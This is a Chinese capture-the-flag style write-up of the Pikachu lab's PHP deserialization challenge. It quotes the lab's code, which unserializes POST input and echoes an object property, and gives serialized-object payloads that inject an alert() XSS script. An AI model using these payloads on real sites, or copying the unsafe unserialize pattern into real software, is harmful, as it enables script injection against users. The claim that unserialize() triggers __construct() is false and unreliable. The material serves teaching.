pikachu靶场_反序列化
打开靶场:
查看源代码:
class S{
//用户的输入通过POST方法传递给服务器,并被用于调用 `unserialize()` //函数以创建一个名为 `S` 的新对象实例。
var $test = "pikachu";
function __construct(){
echo $this->test;
}
}
// O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
//如果用户输入的是一个有效的 (`O:1:"S":1:{s:4:"test";s:29:")
//<script>alert('xss')</script>";}` 序列化字符串,那么将会触发
//XSS(跨站脚本)攻击,因为该类中的 `$test` 变量被设置为了 //`<script>alert('xss')</script>` 这个恶意脚本。
$html='';
if(isset($_POST['o'])){
$s = $_POST['o'];
if(!@$unser = unserialize($s)){
$html.="<p>大兄弟,来点劲爆点儿的!</p>";
}else{
$html.="<p>{$unser->test}</p>";
}
//需要注意的是,如果用户输入的不是有效的序列化字符串,则不会有任何效果。
//这是因为 `unserialize()` 函数会返回 `false` ,并且会跳过后续的输
//出操作。
}
这里的$s可以进行传参
$s = $_POST['o'];
判断是否能够被反序列化,即上传的参数是否经过序列化
if(!@$unser = unserialize($s))
如果上传的序列化后的参数,将上传的数据反序列化后,自动执行魔术方法 __construct() ,$unser->test 用来输出反序列化后的对象的 test 属性的值到页面上。
构造palyload:
<?php
class S{
var $test = "*script>alert(/lin/)*/script>";
}
// 创建一个对象
$s=new S();
// 把这个对象进行序列化输出
print_r(serialize($s));
?>
执行文件:
发现他执行了文件显示出xss脚本显示不了以序列化的数据
我们需要更改一下执行文件使用 ***** 将 < 替换一下将*作为 < 占位符
<?php
class S{
var $test = "*script>alert(/lin/)*/script>";
}
// 创建一个对象
$s=new S();
// 把这个对象进行序列化输出
print_r(serialize($s));
?>
执行文件:
将更换的符号替换回去就实现xss脚本